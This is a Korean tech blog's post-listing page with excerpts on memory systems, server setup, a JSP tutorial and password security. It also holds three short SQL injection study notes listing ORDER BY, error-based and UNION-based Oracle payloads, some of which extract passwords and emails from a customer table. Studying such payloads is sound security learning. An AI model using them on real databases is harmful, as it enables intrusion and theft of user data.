분류 전체보기 82

TESt2

1. 메모리 시스템 (Memory Systems)메모리 계층 구조 (Memory Hierarchy): 데이터 지역성(locality)을 이용해 성능 향상.Temporal Locality: 최근 접근한 데이터는 곧 다시 접근.Spatial Locality: 인접 데이터 접근 가능성 높음.주요 계층: Registers > Cache > Main Memory > Disk.캐시 성능 지표:Miss Rate = 캐시 미스 비율.AMAT = Hit Time + (Miss Rate × Miss Penalty).Mapping 방식: Direct-mapped, Set-associative, Fully-associative.가상 메모리 (Virtual Memory):프로세스 간 메모리 분리 및 보호.TLB (Transla..

카테고리 없음 2025.01.09

TEST

This note demonstrates some of what [Markdown][1] is capable of doing.## An exhibit of Markdown*Note: Feel free to play with this page. Unlike regular notes, this doesn't automatically save itself.*제자가 이제 첫 그 뭐냐 개업식 한다는데. 딱 이거만 좀 지켜보고 가세요!## Basic formattingParagraphs can be written like so. A paragraph is the basic block of Markdown. A paragraph is what text will turn into when there is no reas..

카테고리 없음 2025.01.09

23.07.26 "@넣었는데도 털렸다"…비번 설정, 뭐가 잘못됐던 걸까?

이 내용은 노션에서 작성되어서 가독성이 구립니다. 노션에서 보시는걸 추천드립니다. 노션 주소 : https://robust-millennium-8ba.notion.site/6f8e366f8ef04b98915976322fc7c8cb?pvs=4 "@넣었는데도 털렸다"…비번 설정, 뭐가 잘못됐던 걸까? : 네이트 뉴스 위 기사에서는 아래와 같은 내용이 작성되어있다. 💡 커뮤니티에선 특수문자인 !,@,#,$,% 등을 포함한 비밀번호 설정을 요구했다. A씨는 주로 사용하는 비밀번호 끝에 !와 @를 붙였고, 사이트에서도 이를 '보안 강도 높음'으로 분류했다. 그런데 뭐가 문제였을까. 문자 구성에 대해 말하는 걸 보면 해당 보안 강도 높음의 의미는 아마 브루트포스(brute force) 즉, 무차별 대입 공격을 대상..

보안뉴스 2023.07.27

AWS에 CentOS,Oracle 환경구축

센토스(센트 os)는 알아서 깔자 센토스(멘토스 아님) 시간설정 ln -sf /usr/share/zoneinfo/Asia/Seoul /etc/localtime sudo passwd root 루트 비번 만들기 루트 접속 https://sundries-in-myidea.tistory.com/102 스왑공간 만들어주기 오라클 설치 윈도우에서 오라클.rpm.zip 옮기기 scp -i "majun.pem" .\oracle-xe-11.2.0-1.0.x86_64.rpm.zip\ centos@ec2-3-38-252-203.ap-northeast-2.compute.amazonaws.com:/home/centos centos에서 unzip깔기 yum -y install unzip unzip 오라클.rpm.zip로 압축풀기..

[SQL Injection] order by

컬럼 명을 알때 order by (case when 1=1 then 컬럼명 else 컬럼명2 end) 컬럼명 1로 정렬됨 order by (case when 1=2 then 컬럼명 else 컬럼명2 end) 컬럼명 2로 정렬됨 컬럼 명을 모를때 order by (case when 1=1 then 1 else 1/0 end) 무언가로 정렬됨 order by (case when 1=2 then 1 else 1/0 end) 1/0이 무한대가 되면서 터져버리고 오류가남 ( db종류와 버전에따라 다름) DB별 함수 차이 오라클 substr(user,1,1) MYSQL substr(user(),1,1) MaridDB 아마 MS SQL 인 것 같음 substring(user,1,1) substring(DB_NAME(..

VMware에 CentOS7올리기

내가 까먹을까봐 쓰는 블로그 1.왼쪽 위에 Player를 누르고 File -> 뉴 버추얼 머신을 누른다 2. 3. 4. 원하는 디렉토리로 정해준다 5. 먼지는 모르겠지만 이렇게 세팅 6. 여기서 커스터마이즈 해준다 7. 딴거 건든건 없고 메모리랑 프로세스만 건드렸다. 이정도면 서버 돌리는데 충분하고 많으면 많을수록 좋긴함 8.Finish를 누르고 방금 만들어진 CentOS를 왼쪽에서 클릭하고 우측 하단에 Edit virtual machine settings를 누른다. ( 나는 이전에 만들어준 orcle이라는 이름과 Tomcat이라는 이름이 이미 있다. 이름은 Edit virtual machine settings 안에서 바꾸고싶으면 바꾸면 된다. ) 9. Network Adapter가 지금 나는 기본으로 ..

공부/JSP 혼공 2023.04.04

[SQL Injection] err based

에러베이스드 테스트 ' and ctxsys.drithsx.sn(user,(select password from customer where name='mas9623'))=1 -- ' and ctxsys.drithsx.sn(user,(select email from customer where name='12345'))=1 -- ' and UTL_INADDR.GET_HOST_NAME((select password from customer where name="123123")) 됨 UTL_INAADR.GET_HOST_ADDRESS((원하는 서브쿼리 내용)) ORDSYS.ORD_DICOM.GETMAPPINGXPATH((원하는 서브쿼리 내용),user,user) CTXSYS.DRITHSX.SN(user,(원하는 서..

[SQL Injection] Union based

모든 컬럼명 조회 ' union select '1','2', '3', '4', '5', '6', '7', '8', '9',column_name FROM all_tab_columns -- 모든 BD명 조회 ' union select '1','2', '3', '4', '5', '6', '7', '8', '9',owner FROM all_tables -- 모든 테이블 조회 ' union select '1','2', '3', '4', '5', '6', '7', '8', '9',table_name FROM all_tables -- 현재 DB에 있는 테이블 조회 ' union select '1','2', '3', '4', '5', '6', '7', '8', '9',tname FROM tab --

9. [게시판 실습] 입력 글 저장하기

1. write_ok.jsp를 만들고 아래의 내용을 입력한다. self.window.alert("전송완료"); location.href="write.html"; 2. 이제 write.html에서 내용을 입력하면 db에 insert가 되는걸 확인할 수 있다. ※ 참고용 코드가 실행되는 순서 Oracle JDBC 드라이버 클래스 로딩: Class.forName("oracle.jdbc.driver.OracleDriver"); 데이터베이스 연결 생성: Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@localhost:1521:xe", "jsp", "root"); SQL 쿼리문 작성: String str_sql = "INSERT INTO BBS ..

공부/JSP 혼공 2023.03.25